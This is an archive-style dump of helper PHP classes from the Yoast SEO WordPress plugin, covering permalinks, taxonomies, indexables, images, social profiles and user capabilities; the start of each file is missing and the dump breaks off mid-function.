) { return ''; } if ( $this->current_page_helper->is_home_static_page() ) { return \get_permalink( \get_option( 'page_for_posts' ) ); } return \home_url(); } /** * Returns the proper URL for taxonomy page. * * @return string The proper URL. */ public function taxonomy_url() { global $wp_query; $term = $wp_query->get_queried_object(); if ( \is_feed() ) { return \get_term_feed_link( $term->term_id, $term->taxonomy ); } return \get_term_link( $term, $term->taxonomy ); } /** * Returns the proper URL for search page. * * @return string The proper URL. */ public function search_url() { $s = \get_search_query(); return \home_url() . '/?s=' . \rawurlencode( $s ); } /** * Returns the proper URL for url with page param. * * @param string $proper_url The proper URL. * @return string The proper URL. */ public function query_var_page_url( $proper_url ) { global $wp_query; if ( \is_search( $proper_url ) ) { return \home_url() . '/page/' . $wp_query->query_vars['paged'] . '/?s=' . \rawurlencode( \get_search_query() ); } return \user_trailingslashit( \trailingslashit( $proper_url ) . 'page/' . $wp_query->query_vars['paged'] ); } /** * Returns true if query is with page param. * * @param string $proper_url The proper URL. * @return bool is query with page param. */ public function is_query_var_page( $proper_url ) { global $wp_query; if ( empty( $proper_url ) || $wp_query->query_vars['paged'] === 0 || $wp_query->post_count === 0 ) { return false; } return true; } /** * Redirects clean permalink. * * @param string $proper_url The proper URL. * @return void */ public function do_clean_redirect( $proper_url ) { $this->redirect_helper->set_header( 'Content-Type: redirect', true ); $this->redirect_helper->remove_header( 'Content-Type' ); $this->redirect_helper->remove_header( 'Last-Modified' ); $this->redirect_helper->remove_header( 'X-Pingback' ); $message = \sprintf( /* translators: %1$s: Yoast SEO */ \__( '%1$s: unregistered URL parameter removed. See %2$s', 'wordpress-seo' ), 'Yoast SEO', 'https://yoa.st/advanced-crawl-settings', ); $this->redirect_helper->do_safe_redirect( $proper_url, 301, $message ); } /** * Gets the type of URL. * * @return string The type of URL. */ public function get_url_type() { if ( \is_singular() ) { return 'singular_url'; } if ( \is_front_page() ) { return 'front_page_url'; } if ( $this->current_page_helper->is_posts_page() ) { return 'page_for_posts_url'; } if ( \is_category() || \is_tag() || \is_tax() ) { return 'taxonomy_url'; } if ( \is_search() ) { return 'search_url'; } if ( \is_404() ) { return 'page_not_found_url'; } return ''; } /** * Returns the proper URL for posts page. * * @return string The proper URL. */ public function page_for_posts_url() { return \get_permalink( \get_option( 'page_for_posts' ) ); } } helpers/aioseo-helper.php000064400000002362152076255110011462 0ustar00wpdb = $wpdb; $this->wpdb_helper = $wpdb_helper; } /** * Retrieves the AIOSEO table name along with the db prefix. * * @return string The AIOSEO table name along with the db prefix. */ public function get_table() { return $this->wpdb->prefix . 'aioseo_posts'; } /** * Determines if the AIOSEO database table exists. * * @return bool True if the table is found. */ public function aioseo_exists() { return $this->wpdb_helper->table_exists( $this->get_table() ) === true; } /** * Retrieves the option where the global settings exist. * * @return array The option where the global settings exist. */ public function get_global_option() { return \json_decode( \get_option( 'aioseo_options', '' ), true ); } } helpers/twitter/image-helper.php000064400000002312152076255110012762 0ustar00image = $image; } /** * The image size to use for Twitter. * * @return string Image size string. */ public function get_image_size() { /** * Filter: 'wpseo_twitter_image_size' - Allow changing the Twitter Card image size. * * @param string $featured_img Image size string. */ return (string) \apply_filters( 'wpseo_twitter_image_size', 'full' ); } /** * Retrieves an image url by its id. * * @param int $image_id The image id. * * @return string The image url. Empty string if the attachment is not valid. */ public function get_by_id( $image_id ) { if ( ! $this->image->is_valid_attachment( $image_id ) ) { return ''; } return $this->image->get_attachment_image_source( $image_id, $this->get_image_size() ); } } helpers/string-helper.php000064400000002302152076255120011504 0ustar00options_helper = $options_helper; $this->product_helper = $product_helper; } /** * Builds a URL to use in the plugin as shortlink. * * @param string $url The URL to build upon. * * @return string The final URL. */ public function build( $url ) { return \add_query_arg( $this->collect_additional_shortlink_data(), $url ); } /** * Returns a version of the URL with a utm_content with the current version. * * @param string $url The URL to build upon. * * @return string The final URL. */ public function get( $url ) { return $this->build( $url ); } /** * Echoes a version of the URL with a utm_content with the current version. * * @param string $url The URL to build upon. * * @return void */ public function show( $url ) { echo \esc_url( $this->get( $url ) ); } /** * Gets the shortlink's query params. * * @return array The shortlink's query params. */ public function get_query_params() { return $this->collect_additional_shortlink_data(); } /** * Gets the current site's PHP version, without the extra info. * * @return string The PHP version. */ private function get_php_version() { $version = \explode( '.', \PHP_VERSION ); return (int) $version[0] . '.' . (int) $version[1]; } /** * Gets the current site's platform version. * * @return string The wp_version. */ protected function get_platform_version() { return $GLOBALS['wp_version']; } /** * Collects the additional data necessary for the shortlink. * * @return array The shortlink data. */ protected function collect_additional_shortlink_data() { $data = [ 'php_version' => $this->get_php_version(), 'platform' => 'wordpress', 'platform_version' => $this->get_platform_version(), 'software' => $this->get_software(), 'software_version' => \WPSEO_VERSION, 'days_active' => $this->get_days_active(), 'user_language' => \get_user_locale(), ]; // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. if ( isset( $_GET['page'] ) && \is_string( $_GET['page'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. $admin_page = \sanitize_text_field( \wp_unslash( $_GET['page'] ) ); if ( ! empty( $admin_page ) ) { $data['screen'] = $admin_page; } } return $data; } /** * Get our software and whether it's active or not. * * @return string The software name. */ protected function get_software() { if ( $this->product_helper->is_premium() ) { return 'premium'; } return 'free'; } /** * Gets the number of days the plugin has been active. * * @return int The number of days the plugin is active. */ protected function get_days_active() { $date_activated = $this->options_helper->get( 'first_activated_on' ); $datediff = ( \time() - $date_activated ); return (int) \round( $datediff / \DAY_IN_SECONDS ); } } helpers/taxonomy-helper.php000064400000011754152076255120012067 0ustar00options = $options; $this->string = $string_helper; } /** * Checks if the requested term is indexable. * * @param string $taxonomy The taxonomy slug. * * @return bool True when taxonomy is set to index. */ public function is_indexable( $taxonomy ) { return ! $this->options->get( 'noindex-tax-' . $taxonomy, false ); } /** * Returns an array with the public taxonomies. * * @param string $output The output type to use. * * @return string[]|WP_Taxonomy[] Array with all the public taxonomies. * The type depends on the specified output variable. */ public function get_public_taxonomies( $output = 'names' ) { return \get_taxonomies( [ 'public' => true ], $output ); } /** * Retrieves the term description (without tags). * * @param int $term_id Term ID. * * @return string Term description (without tags). */ public function get_term_description( $term_id ) { return $this->string->strip_all_tags( \term_description( $term_id ) ); } /** * Retrieves the taxonomy term's meta values. * * @codeCoverageIgnore We have to write test when this method contains own code. * * @param WP_Term $term Term to get the meta value for. * * @return array|bool Array of all the meta data for the term. * False if the term does not exist or the $meta provided is invalid. */ public function get_term_meta( $term ) { return WPSEO_Taxonomy_Meta::get_term_meta( $term, $term->taxonomy, null ); } /** * Gets the passed taxonomy's slug. * * @param string $taxonomy The name of the taxonomy. * * @return string The slug for the taxonomy. Returns the taxonomy's name if no slug could be found. */ public function get_taxonomy_slug( $taxonomy ) { $taxonomy_object = \get_taxonomy( $taxonomy ); if ( $taxonomy_object && \property_exists( $taxonomy_object, 'rewrite' ) && \is_array( $taxonomy_object->rewrite ) && isset( $taxonomy_object->rewrite['slug'] ) ) { return $taxonomy_object->rewrite['slug']; } return \strtolower( $taxonomy_object->name ); } /** * Returns an array with the custom taxonomies. * * @param string $output The output type to use. * * @return string[]|WP_Taxonomy[] Array with all the custom taxonomies. * The type depends on the specified output variable. */ public function get_custom_taxonomies( $output = 'names' ) { return \get_taxonomies( [ '_builtin' => false ], $output ); } /** * Returns an array of taxonomies that are excluded from being indexed for the * indexables. * * @return array The excluded taxonomies. */ public function get_excluded_taxonomies_for_indexables() { /** * Filter: 'wpseo_indexable_excluded_taxonomies' - Allow developers to prevent a certain taxonomy * from being saved to the indexable table. * * @param array $excluded_taxonomies The currently excluded taxonomies. */ $excluded_taxonomies = \apply_filters( 'wpseo_indexable_excluded_taxonomies', [] ); // Failsafe, to always make sure that `excluded_taxonomies` is an array. if ( ! \is_array( $excluded_taxonomies ) ) { return []; } return $excluded_taxonomies; } /** * Checks if the taxonomy is excluded. * * @param string $taxonomy The taxonomy to check. * * @return bool If the taxonomy is excluded. */ public function is_excluded( $taxonomy ) { return \in_array( $taxonomy, $this->get_excluded_taxonomies_for_indexables(), true ); } /** * This builds a list of indexable taxonomies. * * @return array The indexable taxonomies. */ public function get_indexable_taxonomies() { $public_taxonomies = $this->get_public_taxonomies(); $excluded_taxonomies = $this->get_excluded_taxonomies_for_indexables(); // `array_values`, to make sure that the keys are reset. return \array_values( \array_diff( $public_taxonomies, $excluded_taxonomies ) ); } /** * Returns an array of complete taxonomy objects for all indexable taxonomies. * * @return array List of indexable indexables objects. */ public function get_indexable_taxonomy_objects() { $taxonomy_objects = []; $indexable_taxonomies = $this->get_indexable_taxonomies(); foreach ( $indexable_taxonomies as $taxonomy ) { $taxonomy_object = \get_taxonomy( $taxonomy ); if ( ! empty( $taxonomy_object ) ) { $taxonomy_objects[ $taxonomy ] = $taxonomy_object; } } return $taxonomy_objects; } } helpers/wpdb-helper.php000064400000001651152076255120011140 0ustar00wpdb = $wpdb; } /** * Check if table exists. * * @param string $table The table to be checked. * * @return bool Whether the table exists. */ public function table_exists( $table ) { // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching,WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: There is no unescaped user input. $table_exists = $this->wpdb->get_var( "SHOW TABLES LIKE '{$table}'" ); if ( \is_wp_error( $table_exists ) || $table_exists === null ) { return false; } return true; } } helpers/indexable-helper.php000064400000022363152076255120012142 0ustar00 [ 'default_value' => null, ], 'description' => [ 'default_value' => null, ], 'open_graph_title' => [ 'default_value' => null, ], 'open_graph_description' => [ 'default_value' => null, ], 'twitter_title' => [ 'default_value' => null, ], 'twitter_description' => [ 'default_value' => null, ], 'canonical' => [ 'default_value' => null, ], 'primary_focus_keyword' => [ 'default_value' => null, ], 'is_robots_noindex' => [ 'default_value' => null, ], 'is_robots_nofollow' => [ 'default_value' => false, ], 'is_robots_noarchive' => [ 'default_value' => null, ], 'is_robots_noimageindex' => [ 'default_value' => null, ], 'is_robots_nosnippet' => [ 'default_value' => null, ], ]; /** * Indexable_Helper constructor. * * @param Options_Helper $options_helper The options helper. * @param Environment_Helper $environment_helper The environment helper. * @param Indexing_Helper $indexing_helper The indexing helper. */ public function __construct( Options_Helper $options_helper, Environment_Helper $environment_helper, Indexing_Helper $indexing_helper ) { $this->options_helper = $options_helper; $this->environment_helper = $environment_helper; $this->indexing_helper = $indexing_helper; } /** * Sets the indexable repository. Done to avoid circular dependencies. * * @required * * @param Indexable_Repository $repository The indexable repository. * * @return void */ public function set_indexable_repository( Indexable_Repository $repository ) { $this->repository = $repository; } /** * Returns the page type of an indexable. * * @param Indexable $indexable The indexable. * * @return string|false The page type. False if it could not be determined. */ public function get_page_type_for_indexable( $indexable ) { switch ( $indexable->object_type ) { case 'post': $front_page_id = (int) \get_option( 'page_on_front' ); if ( $indexable->object_id === $front_page_id ) { return 'Static_Home_Page'; } $posts_page_id = (int) \get_option( 'page_for_posts' ); if ( $indexable->object_id === $posts_page_id ) { return 'Static_Posts_Page'; } return 'Post_Type'; case 'term': return 'Term_Archive'; case 'user': return 'Author_Archive'; case 'home-page': return 'Home_Page'; case 'post-type-archive': return 'Post_Type_Archive'; case 'date-archive': return 'Date_Archive'; case 'system-page': if ( $indexable->object_sub_type === 'search-result' ) { return 'Search_Result_Page'; } if ( $indexable->object_sub_type === '404' ) { return 'Error_Page'; } } return false; } /** * Resets the permalinks of the indexables. * * @param string|null $type The type of the indexable. * @param string|null $subtype The subtype. Can be null. * @param string $reason The reason that the permalink has been changed. * * @return void */ public function reset_permalink_indexables( $type = null, $subtype = null, $reason = Indexing_Reasons::REASON_PERMALINK_SETTINGS ) { $result = $this->repository->reset_permalink( $type, $subtype ); $this->indexing_helper->set_reason( $reason ); if ( $result !== false && $result > 0 ) { \delete_transient( Indexable_Post_Indexation_Action::UNINDEXED_COUNT_TRANSIENT ); \delete_transient( Indexable_Post_Type_Archive_Indexation_Action::UNINDEXED_COUNT_TRANSIENT ); \delete_transient( Indexable_Term_Indexation_Action::UNINDEXED_COUNT_TRANSIENT ); } } /** * Determines whether indexing the specific indexable is appropriate at this time. * * @param Indexable $indexable The indexable. * * @return bool Whether indexing the specific indexable is appropriate at this time. */ public function should_index_indexable( $indexable ) { $intend_to_save = $this->should_index_indexables(); /** * Filter: 'wpseo_should_save_indexable' - Allow developers to enable / disable * saving the indexable when the indexable is updated. Warning: overriding * the intended action may cause problems when moving from a staging to a * production environment because indexable permalinks may get set incorrectly. * * @param bool $intend_to_save True if YoastSEO intends to save the indexable. * @param Indexable $indexable The indexable to be saved. */ return \apply_filters( 'wpseo_should_save_indexable', $intend_to_save, $indexable ); } /** * Determines whether indexing indexables is appropriate at this time. * * @return bool Whether the indexables should be indexed. */ public function should_index_indexables() { // Currently, the only reason to index is when we're on a production website. $should_index = $this->environment_helper->is_production_mode(); /** * Filter: 'Yoast\WP\SEO\should_index_indexables' - Allow developers to enable / disable * creating indexables. Warning: overriding * the intended action may cause problems when moving from a staging to a * production environment because indexable permalinks may get set incorrectly. * * @since 18.2 * * @param bool $should_index Whether the site's indexables should be created. */ return (bool) \apply_filters( 'Yoast\WP\SEO\should_index_indexables', $should_index ); } /** * Returns whether or not dynamic permalinks should be used. * * @return bool Whether or not the dynamic permalinks should be used. */ public function dynamic_permalinks_enabled() { /** * Filters the value of the `dynamic_permalinks` option. * * @param bool $value The value of the `dynamic_permalinks` option. */ return (bool) \apply_filters( 'wpseo_dynamic_permalinks_enabled', $this->options_helper->get( 'dynamic_permalinks', false ) ); } /** * Sets a boolean to indicate that the indexing of the indexables has completed. * * @return void */ public function finish_indexing() { $this->options_helper->set( 'indexables_indexing_completed', true ); } /** * Checks whether the indexable has default values in given fields. * * @param Indexable $indexable The Yoast indexable that we're checking. * @param array $fields The Yoast indexable fields that we're checking against. * * @return bool Whether the indexable has default values. */ public function check_if_default_indexable( $indexable, $fields ) { foreach ( $fields as $field ) { $is_default = $this->check_if_default_field( $indexable, $field ); if ( ! $is_default ) { break; } } return $is_default; } /** * Checks if an indexable field contains the default value. * * @param Indexable $indexable The Yoast indexable that we're checking. * @param string $field The field that we're checking. * * @return bool True if default value. */ public function check_if_default_field( $indexable, $field ) { $defaults = $this->default_values; if ( ! isset( $defaults[ $field ] ) ) { return false; } if ( $indexable->$field === $defaults[ $field ]['default_value'] ) { return true; } return false; } /** * Saves and returns an indexable (on production environments only). * * Moved from Yoast\WP\SEO\Builders\Indexable_Builder. * * @param Indexable $indexable The indexable. * @param Indexable|null $indexable_before The indexable before possible changes. * * @return bool True if default value. */ public function save_indexable( $indexable, $indexable_before = null ) { if ( ! $this->should_index_indexable( $indexable ) ) { return $indexable; } // Save the indexable before running the WordPress hook. $indexable->save(); if ( $indexable_before ) { /** * Action: 'wpseo_save_indexable' - Allow developers to perform an action * when the indexable is updated. * * @param Indexable $indexable The saved indexable. * @param Indexable $indexable_before The indexable before saving. */ \do_action( 'wpseo_save_indexable', $indexable, $indexable_before ); } /** * Action: 'wpseo_save_indexable' - Allow developers to perform an action * right after the indexable is created or updated. * * @param Indexable $indexable The saved indexable. */ \do_action( 'wpseo_saved_indexable', $indexable ); return $indexable; } } helpers/social-profiles-helper.php000064400000025357152076255120013310 0ustar00 'get_non_valid_url', 'instagram' => 'get_non_valid_url', 'linkedin' => 'get_non_valid_url', 'myspace' => 'get_non_valid_url', 'pinterest' => 'get_non_valid_url', 'soundcloud' => 'get_non_valid_url', 'tumblr' => 'get_non_valid_url', 'twitter' => 'get_non_valid_twitter', 'youtube' => 'get_non_valid_url', 'wikipedia' => 'get_non_valid_url', ]; /** * The fields for the organization social profiles payload. * * @var array */ private $organization_social_profile_fields = [ 'facebook_site' => 'get_non_valid_url', 'twitter_site' => 'get_non_valid_twitter', 'other_social_urls' => 'get_non_valid_url_array', ]; /** * The Options_Helper instance. * * @var Options_Helper */ protected $options_helper; /** * Social_Profiles_Helper constructor. * * @param Options_Helper $options_helper The WPSEO options helper. */ public function __construct( Options_Helper $options_helper ) { $this->options_helper = $options_helper; } /** * Gets the person social profile fields supported by us. * * @return array The social profile fields. */ public function get_person_social_profile_fields() { /** * Filter: Allow changes to the social profiles fields available for a person. * * @param array $person_social_profile_fields The social profile fields. */ $person_social_profile_fields = \apply_filters( 'wpseo_person_social_profile_fields', $this->person_social_profile_fields ); return (array) $person_social_profile_fields; } /** * Gets the organization social profile fields supported by us. * * @return array The organization profile fields. */ public function get_organization_social_profile_fields() { /** * Filter: Allow changes to the social profiles fields available for an organization. * * @param array $organization_social_profile_fields The social profile fields. */ $organization_social_profile_fields = \apply_filters( 'wpseo_organization_social_profile_fields', $this->organization_social_profile_fields ); return (array) $organization_social_profile_fields; } /** * Gets the person social profiles stored in the database. * * @param int $person_id The id of the person. * * @return array The person's social profiles. */ public function get_person_social_profiles( $person_id ) { $social_profile_fields = \array_keys( $this->get_person_social_profile_fields() ); $person_social_profiles = \array_combine( $social_profile_fields, \array_fill( 0, \count( $social_profile_fields ), '' ) ); // If no person has been selected, $person_id is set to false. if ( \is_numeric( $person_id ) ) { foreach ( \array_keys( $person_social_profiles ) as $field_name ) { $value = \get_user_meta( $person_id, $field_name, true ); // If $person_id is an integer but does not represent a valid user, get_user_meta returns false. if ( ! \is_bool( $value ) ) { $person_social_profiles[ $field_name ] = $value; } } } return $person_social_profiles; } /** * Gets the organization social profiles stored in the database. * * @return array The social profiles for the organization. */ public function get_organization_social_profiles() { $organization_social_profiles_fields = \array_keys( $this->get_organization_social_profile_fields() ); $organization_social_profiles = []; foreach ( $organization_social_profiles_fields as $field_name ) { $default_value = ''; if ( $field_name === 'other_social_urls' ) { $default_value = []; } $social_profile_value = $this->options_helper->get( $field_name, $default_value ); if ( $field_name === 'other_social_urls' ) { $other_social_profiles = \array_map( '\urldecode', \array_filter( $social_profile_value ) ); $organization_social_profiles['other_social_urls'] = $other_social_profiles; continue; } if ( $field_name === 'twitter_site' && $social_profile_value !== '' ) { $organization_social_profiles[ $field_name ] = 'https://x.com/' . $social_profile_value; continue; } $organization_social_profiles[ $field_name ] = \urldecode( $social_profile_value ); } return $organization_social_profiles; } /** * Stores the values for the person's social profiles. * * @param int $person_id The id of the person to edit. * @param array $social_profiles The array of the person's social profiles to be set. * * @return string[] An array of field names which failed to be saved in the db. */ public function set_person_social_profiles( $person_id, $social_profiles ) { $failures = []; $person_social_profile_fields = $this->get_person_social_profile_fields(); // First validate all social profiles, before even attempting to save them. foreach ( $person_social_profile_fields as $field_name => $validation_method ) { if ( ! isset( $social_profiles[ $field_name ] ) ) { // Just skip social profiles that were not passed. continue; } if ( $social_profiles[ $field_name ] === '' ) { continue; } $value_to_validate = $social_profiles[ $field_name ]; $failures = \array_merge( $failures, \call_user_func( [ $this, $validation_method ], $value_to_validate, $field_name ) ); } if ( ! empty( $failures ) ) { return $failures; } // All social profiles look good, now let's try to save them. foreach ( \array_keys( $person_social_profile_fields ) as $field_name ) { if ( ! isset( $social_profiles[ $field_name ] ) ) { // Just skip social profiles that were not passed. continue; } $social_profiles[ $field_name ] = $this->sanitize_social_field( $social_profiles[ $field_name ] ); \update_user_meta( $person_id, $field_name, $social_profiles[ $field_name ] ); } return $failures; } /** * Stores the values for the organization's social profiles. * * @param array $social_profiles An array with the social profiles values to be saved in the db. * * @return string[] An array of field names which failed to be saved in the db. */ public function set_organization_social_profiles( $social_profiles ) { $failures = []; $organization_social_profile_fields = $this->get_organization_social_profile_fields(); // First validate all social profiles, before even attempting to save them. foreach ( $organization_social_profile_fields as $field_name => $validation_method ) { if ( ! isset( $social_profiles[ $field_name ] ) ) { // Just skip social profiles that were not passed. continue; } $social_profiles[ $field_name ] = $this->sanitize_social_field( $social_profiles[ $field_name ] ); $value_to_validate = $social_profiles[ $field_name ]; $failures = \array_merge( $failures, \call_user_func( [ $this, $validation_method ], $value_to_validate, $field_name ) ); } if ( ! empty( $failures ) ) { return $failures; } // All social profiles look good, now let's try to save them. foreach ( \array_keys( $organization_social_profile_fields ) as $field_name ) { if ( ! isset( $social_profiles[ $field_name ] ) ) { // Just skip social profiles that were not passed. continue; } // Remove empty strings in Other Social URLs. if ( $field_name === 'other_social_urls' ) { $other_social_urls = \array_filter( $social_profiles[ $field_name ], static function ( $other_social_url ) { return $other_social_url !== ''; }, ); $social_profiles[ $field_name ] = \array_values( $other_social_urls ); } $result = $this->options_helper->set( $field_name, $social_profiles[ $field_name ] ); if ( ! $result ) { /** * The value for Twitter might have been sanitised from URL to username. * If so, $result will be false. We should check if the option value is part of the received value. */ if ( $field_name === 'twitter_site' ) { $current_option = $this->options_helper->get( $field_name ); if ( ! \strpos( $social_profiles[ $field_name ], 'twitter.com/' . $current_option ) && ! \strpos( $social_profiles[ $field_name ], 'x.com/' . $current_option ) ) { $failures[] = $field_name; } } else { $failures[] = $field_name; } } } if ( ! empty( $failures ) ) { return $failures; } return []; } /** * Returns a sanitized social field. * * @param string|array $social_field The social field to sanitize. * * @return string|array The sanitized social field. */ protected function sanitize_social_field( $social_field ) { if ( \is_array( $social_field ) ) { foreach ( $social_field as $key => $value ) { $social_field[ $key ] = \sanitize_text_field( $value ); } return $social_field; } return \sanitize_text_field( $social_field ); } /** * Checks if url is not valid and returns the name of the setting if it's not. * * @param string $url The url to be validated. * @param string $url_setting The name of the setting to be updated with the url. * * @return array An array with the setting that the non-valid url is about to update. */ protected function get_non_valid_url( $url, $url_setting ) { if ( $this->options_helper->is_social_url_valid( $url ) ) { return []; } return [ $url_setting ]; } /** * Checks if urls in an array are not valid and return the name of the setting if one of them is not, including the non-valid url's index in the array * * @param array $urls The urls to be validated. * @param string $urls_setting The name of the setting to be updated with the urls. * * @return array An array with the settings that the non-valid urls are about to update, suffixed with a dash-separated index of the positions of those settings, eg. other_social_urls-2. */ protected function get_non_valid_url_array( $urls, $urls_setting ) { $non_valid_url_array = []; foreach ( $urls as $key => $url ) { if ( ! $this->options_helper->is_social_url_valid( $url ) ) { $non_valid_url_array[] = $urls_setting . '-' . $key; } } return $non_valid_url_array; } /** * Checks if the twitter value is not valid and returns the name of the setting if it's not. * * @param array $twitter_site The twitter value to be validated. * @param string $twitter_setting The name of the twitter setting to be updated with the value. * * @return array An array with the setting that the non-valid twitter value is about to update. */ protected function get_non_valid_twitter( $twitter_site, $twitter_setting ) { if ( $this->options_helper->is_twitter_id_valid( $twitter_site, false ) ) { return []; } return [ $twitter_setting ]; } } helpers/wordpress-helper.php000064400000001000152076255120012220 0ustar00has_any( [ 'wpseo_manage_options', $capability ] ); } /** * Retrieves the users that have the specified capability. * * @param string $capability The name of the capability. * * @return array The users that have the capability. */ public function get_applicable_users( $capability ) { $applicable_roles = $this->get_applicable_roles( $capability ); if ( $applicable_roles === [] ) { return []; } return \get_users( [ 'role__in' => $applicable_roles ] ); } /** * Retrieves the roles that have the specified capability. * * @param string $capability The name of the capability. * * @return array The names of the roles that have the capability. */ public function get_applicable_roles( $capability ) { $roles = \wp_roles(); $role_names = $roles->get_names(); $applicable_roles = []; foreach ( \array_keys( $role_names ) as $role_name ) { $role = $roles->get_role( $role_name ); if ( ! $role ) { continue; } // Add role if it has the capability. if ( \array_key_exists( $capability, $role->capabilities ) && $role->capabilities[ $capability ] === true ) { $applicable_roles[] = $role_name; } } return $applicable_roles; } /** * Checks if the current user has at least one of the supplied capabilities. * * @param array $capabilities Capabilities to check against. * * @return bool True if the user has at least one capability. */ private function has_any( array $capabilities ) { foreach ( $capabilities as $capability ) { if ( \current_user_can( $capability ) ) { return true; } } return false; } } helpers/import-cursor-helper.php000064400000002560152076255200013030 0ustar00options = $options; } /** * Returns the stored cursor value. * * @param string $cursor_id The cursor id. * @param mixed $default_value The default value if no cursor has been set yet. * * @return int The stored cursor value. */ public function get_cursor( $cursor_id, $default_value = 0 ) { $import_cursors = $this->options->get( 'import_cursors', [] ); return ( isset( $import_cursors[ $cursor_id ] ) ) ? $import_cursors[ $cursor_id ] : $default_value; } /** * Stores the current cursor value. * * @param string $cursor_id The cursor id. * @param int $last_imported_id The id of the lastly imported entry. * * @return void */ public function set_cursor( $cursor_id, $last_imported_id ) { $current_cursors = $this->options->get( 'import_cursors', [] ); if ( ! isset( $current_cursors[ $cursor_id ] ) || $current_cursors[ $cursor_id ] < $last_imported_id ) { $current_cursors[ $cursor_id ] = $last_imported_id; $this->options->set( 'import_cursors', $current_cursors ); } } } helpers/score-icon-helper.php000064400000005436152076255200012251 0ustar00robots_helper = $robots_helper; } /** * Creates a Score_Icon_Presenter for the readability analysis. * * @param int $score The readability analysis score. * @param string $extra_class Optional. Any extra class. * * @return Score_Icon_Presenter The Score_Icon_Presenter. */ public function for_readability( $score, $extra_class = '' ) { $rank = WPSEO_Rank::from_numeric_score( (int) $score ); $class = $rank->get_css_class(); if ( $extra_class ) { $class .= " $extra_class"; } return new Score_Icon_Presenter( $rank->get_label(), $class ); } /** * Creates a Score_Icon_Presenter for the inclusive language analysis. * * @param int $score The inclusive language analysis score. * @param string $extra_class Optional. Any extra class. * * @return Score_Icon_Presenter The Score_Icon_Presenter. */ public function for_inclusive_language( $score, $extra_class = '' ) { $rank = WPSEO_Rank::from_numeric_score( (int) $score ); $class = $rank->get_css_class(); if ( $extra_class ) { $class .= " $extra_class"; } return new Score_Icon_Presenter( $rank->get_inclusive_language_label(), $class ); } /** * Creates a Score_Icon_Presenter for the SEO analysis from an indexable. * * @param Indexable|false $indexable The Indexable. * @param string $extra_class Optional. Any extra class. * @param string $no_index_title Optional. Override the title when not indexable. * * @return Score_Icon_Presenter The Score_Icon_Presenter. */ public function for_seo( $indexable, $extra_class = '', $no_index_title = '' ) { $is_indexable = $indexable && $this->robots_helper->is_indexable( $indexable ); if ( ! $is_indexable ) { $rank = new WPSEO_Rank( WPSEO_Rank::NO_INDEX ); $title = empty( $no_index_title ) ? $rank->get_label() : $no_index_title; } elseif ( empty( $indexable && $indexable->primary_focus_keyword ) ) { $rank = new WPSEO_Rank( WPSEO_Rank::BAD ); $title = \__( 'Focus keyphrase not set', 'wordpress-seo' ); } else { $rank = WPSEO_Rank::from_numeric_score( ( $indexable ) ? $indexable->primary_focus_keyword_score : 0 ); $title = $rank->get_label(); } $class = $rank->get_css_class(); if ( $extra_class ) { $class .= " $extra_class"; } return new Score_Icon_Presenter( $title, $class ); } } helpers/image-helper.php000064400000027304152076255200011270 0ustar00indexable_repository = $indexable_repository; $this->seo_links_repository = $seo_links_repository; $this->options_helper = $options; $this->url_helper = $url_helper; } /** * Determines whether or not the wanted attachment is considered valid. * * @param int $attachment_id The attachment ID to get the attachment by. * * @return bool Whether or not the attachment is valid. */ public function is_valid_attachment( $attachment_id ) { if ( ! \wp_attachment_is_image( $attachment_id ) ) { return false; } $post_mime_type = \get_post_mime_type( $attachment_id ); if ( $post_mime_type === false ) { return false; } return $this->is_valid_image_type( $post_mime_type ); } /** * Checks if the given extension is a valid extension * * @param string $image_extension The image extension. * * @return bool True when valid. */ public function is_extension_valid( $image_extension ) { return \in_array( $image_extension, static::$valid_image_extensions, true ); } /** * Determines whether the passed mime type is a valid image type. * * @param string $mime_type The detected mime type. * * @return bool Whether or not the attachment is a valid image type. */ public function is_valid_image_type( $mime_type ) { return \in_array( $mime_type, static::$valid_image_types, true ); } /** * Retrieves the image source for an attachment. * * @param int $attachment_id The attachment. * @param string $image_size The image size to retrieve. * * @return string The image url or an empty string when not found. */ public function get_attachment_image_source( $attachment_id, $image_size = 'full' ) { $attachment = \wp_get_attachment_image_src( $attachment_id, $image_size ); if ( ! $attachment ) { return ''; } return $attachment[0]; } /** * Retrieves the ID of the featured image. * * @param int $post_id The post id to get featured image id for. * * @return int|bool ID when found, false when not. */ public function get_featured_image_id( $post_id ) { if ( ! \has_post_thumbnail( $post_id ) ) { return false; } return \get_post_thumbnail_id( $post_id ); } /** * Gets the image url from the content. * * @param int $post_id The post id to extract the images from. * * @return string The image url or an empty string when not found. */ public function get_post_content_image( $post_id ) { $image_url = $this->get_first_usable_content_image_for_post( $post_id ); if ( $image_url === null ) { return ''; } return $image_url; } /** * Gets the first image url of a gallery. * * @param int $post_id Post ID to use. * * @return string The image url or an empty string when not found. */ public function get_gallery_image( $post_id ) { $post = \get_post( $post_id ); if ( \strpos( $post->post_content, '[gallery' ) === false ) { return ''; } $images = \get_post_gallery_images( $post ); if ( empty( $images ) ) { return ''; } return \reset( $images ); } /** * Gets the image url from the term content. * * @param int $term_id The term id to extract the images from. * * @return string The image url or an empty string when not found. */ public function get_term_content_image( $term_id ) { $image_url = $this->get_first_content_image_for_term( $term_id ); if ( $image_url === null ) { return ''; } return $image_url; } /** * Retrieves the caption for an attachment. * * @param int $attachment_id Attachment ID. * * @return string The caption when found, empty string when no caption is found. */ public function get_caption( $attachment_id ) { $caption = \wp_get_attachment_caption( $attachment_id ); if ( ! empty( $caption ) ) { return $caption; } $caption = \get_post_meta( $attachment_id, '_wp_attachment_image_alt', true ); if ( ! empty( $caption ) ) { return $caption; } return ''; } /** * Retrieves the attachment metadata. * * @param int $attachment_id Attachment ID. * * @return array The metadata, empty array when no metadata is found. */ public function get_metadata( $attachment_id ) { $metadata = \wp_get_attachment_metadata( $attachment_id ); if ( ! $metadata || ! \is_array( $metadata ) ) { return []; } return $metadata; } /** * Retrieves the attachment image url. * * @param int $attachment_id Attachment ID. * @param string $size The size to get. * * @return string The url when found, empty string otherwise. */ public function get_attachment_image_url( $attachment_id, $size ) { $url = \wp_get_attachment_image_url( $attachment_id, $size ); if ( ! $url ) { return ''; } return $url; } /** * Find the right version of an image based on size. * * @codeCoverageIgnore - We have to write test when this method contains own code. * * @param int $attachment_id Attachment ID. * @param string $size Size name. * * @return array|false Returns an array with image data on success, false on failure. */ public function get_image( $attachment_id, $size ) { return 